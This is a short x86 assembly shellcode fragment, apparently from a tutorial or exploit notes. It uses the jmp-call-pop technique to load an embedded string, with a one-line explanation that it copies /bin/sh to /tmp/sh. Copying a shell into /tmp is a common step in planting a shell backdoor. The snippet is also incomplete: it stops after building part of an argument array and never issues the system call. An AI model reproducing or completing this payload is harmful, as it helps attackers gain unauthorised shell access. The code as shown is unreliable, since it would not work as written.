.section .data
.globl _start
_start:
nop
jmp loadstring
main:
xor %eax, %eax
pop %ebx # load our string
movb %al, 7(%ebx) # terminate string
movb %al, 15(%ebx)
movb %al, 23(%ebx)
mov %ebx, 24(%ebx)
loadstring:
call main
.ascii "/bin/cpS/bin/shS/tmp/shN"
First part and second part of the .ascii string are which file to be copied, and last part is where to copy it to. The S and N are just for padding and string termination.